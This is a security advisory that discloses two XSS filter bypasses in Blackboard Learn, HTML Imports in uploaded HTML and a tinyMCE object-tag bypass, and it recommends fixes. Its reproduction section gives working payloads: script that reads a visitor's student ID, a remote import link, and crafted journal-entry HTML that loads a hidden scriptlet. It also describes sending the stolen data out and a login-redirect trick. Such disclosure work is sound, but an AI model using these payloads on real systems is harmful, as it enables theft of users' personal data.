Bypassing CORs and HTML XSS Filters using HTML Imports

Info

Vulnerability Type: XSS

Affected Products: Blackboard Learn

Discovery Date: 09/13/2018

Discovered By: Andrew Wiik

Description

This exploit is based on most Blackboard users being able to upload custom HTML files that will be served from the same domain as the rest of the web application. These HTML files are then able to access the rest of the content on the web application without needing to worry about CORs getting in the way. Blackboard did foresee this problem however and put a HTML sanitizer in front of the custom HTML files users could upload. This sanitizer however did not account for the **HTML Imports** feature that the Chrome Browser supports.

According to the Mozilla Foundation HTML Imports were meant to be used for packaging Web Components. The feature can be used to “inject” the contents of a remote HTML file into the current web page’s DOM. HTML Imports don’t need to be on the same domain as their parent if they want to interact with each other. This is the opposite of iFrames which require the parent and iFrame source domain to be the same if they wish to interact with each other.

HTML Imports not being sanitized in the custom HTML files users can upload allows the user to put any HTML that they don’t want the web application sanitizing onto a different web server then just import it by URL in the custom HTML files they build. The user can now build and serve custom HTML files that can import code that won’t be sanitized by the web application and have that code run as if it sat on the main web application domain.

A malicious user with a standard login for the web application can now generate URLs that steal the data of any user that visits them and then send that data to a remote server. This method of data exfiltration however still requires the attacker to send their malicious URLs to other users and convince the recipients to open the URL they received.

Blackboard has a second XSS Filter vulnerability in the HTML Sanitizer of the WYSIWYG content editor it uses called **tinyMCE.** This vulnerability will allow a malicious user to construct Posts and Journal entries that when viewed by other users have the ability to exfiltrate that user's data in the background with an invisible iFrame.

tinyMCE has a HTMl Filter function that should prevent the loading of unapproved content resources through stripping the html elements and attributes that would normally let them load. The content editor however is vulnerable to being passed a specially crafted segment of HTML that will allow the output of a `<object>` tag with the `type` and `data` attributes being set to any value. The `<object>` tag can be utilized to load an iFrame with a custom source URL that can be set to the malicious URL that points to a XSS payload that can steal the user's data in the background. The `<object>` tag only needs to have its `type` attribute set to `text/x-scriptlet` and then any CORs approved URL can be loaded using the `data` attribute on the `<object>` tag.

Reproduction

Constructing a malicious URL that can steal a visitor's Student ID

1. Upload the below HTML Snippet to a Third Party Server where you can obtain a url that points to the below code. (gist.github.com was used in testing)

```
<script>
  setInterval(function() {
    var otherImport = window.parent.document.getElementById("otherImport");
    if (otherImport && otherImport.import) {
      var studentId =
otherImport.import.querySelector("#studentId").getAttribute("value");
      console.log("Your student ID IS: " + studentId);
    }
 }, 5000);
</script>
```

2. Take the url where you uploaded the above code snippet and replace **XSS_JS_SNIPPET** with it in the HTML XSS Payload below.

```
<link id="otherImport" rel="import"
href="https://blackboard.newhaven.edu/webapps/blackboard/execute/editUser?
context=self_modify" />
<link rel="import" href="XSS_JS_SNIPPET" />
```

3. Save the above code snippet with **XSS_JS_SNIPPET** segment replaced to a '.html' and then upload that file somewhere on your Blackboard Content Collection. After the file is uploaded change the permission to allow anyone to view the file.

4. Click the name of the file you just uploaded in Blackboard's Content Collection interface and copy the URL that is resolved in your browser after the name is clicked.

5. You can now send that URL to any user in the same Blackboard system as you and their Student ID will be logged to the browser console as a PoC.

6. (Optional) If your Blackboard system happens to support the url scheme `https://BLACKBOARD_SERVER_DOMAIN/webapps/bb-auth-provider-cas-bb_bb60/execute/casLogin?cmd=login&authProviderId=_111_1&redirectUrl=REDIRECT_URL_ENCODED` You can replace the `REDIRECT_URL_ENCODED` with an encoded version of the malicious URL you generated in step 5 and the resulting link will automatically redirect users to log in if they aren't already before performing the XSS payload delivered by your malicious URL

Embedding the malicious URL in a journal entry post

1. The HTML snippet you uploaded in step 1 above needs to be modified slightly so replace contents of file uploaded then with the code snippet below.

```
<script>
  setInterval(function() {
    var otherImport = window.document.getElementById("otherImport");
    if (otherImport && otherImport.import) {
      var studentId =
otherImport.import.querySelector("#studentId").getAttribute("value");
      console.log("Your student ID IS: " + studentId);
    }
 }, 5000);
</script>
```

2. Replace the `XSS_PAYLOAD_URL` in the code snippet below with the malicious URL you constructed at the end of step 4 above.

```
<script></script
<iframe style="display:none"%29></iframe>
<svg display="none"><script ?></if><img>
<object style="height:0px;width:0px;position:absolute;top:0left:0"
type="text/x-scriptlet" data="XSS_PAYLOAD_URL"></object>
```

3. Construct a new Journal Entry in Blackboard and expand the WYSIWYG editor's toolbar and select the **HTML** button and paste the contents of the code snippet above into the popup that appears and then press **Update** and **Post Entry**.

4. Now anyone who views your journal entry will automatically be subjected to the effects of the malicious URL that was constructed at the end of **Step 4** in **Constructing a malicious URL that can steal a visitor's Student ID**

Exploitability

The vulnerabilities described above can be executed by any Blackboard user who has access to uploading custom HTML files to the **Content Collection** section of their dashboard.

Impact

This two vulnerabilities described above can be combined to allows a user’s data to be stolen with a malicious XSS payload that they could encounter just throughout regular use of the Blackboard Learn System.

Recommendations

1. Disallow the `rel` attribute for the `<link>` tag in the HTML Filter that Blackboard utilizes to sanitize custom HTML files that are uploaded to the **Content Collection** section of a user's dashboard.

2. Fix the bug in the HTML Filter utilized by tinyMCE so that it filters out all `<object>` tags properly.

Reference(s)

https://developer.mozilla.org/en-US/docs/Web/Web_Components/HTML_Imports
https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45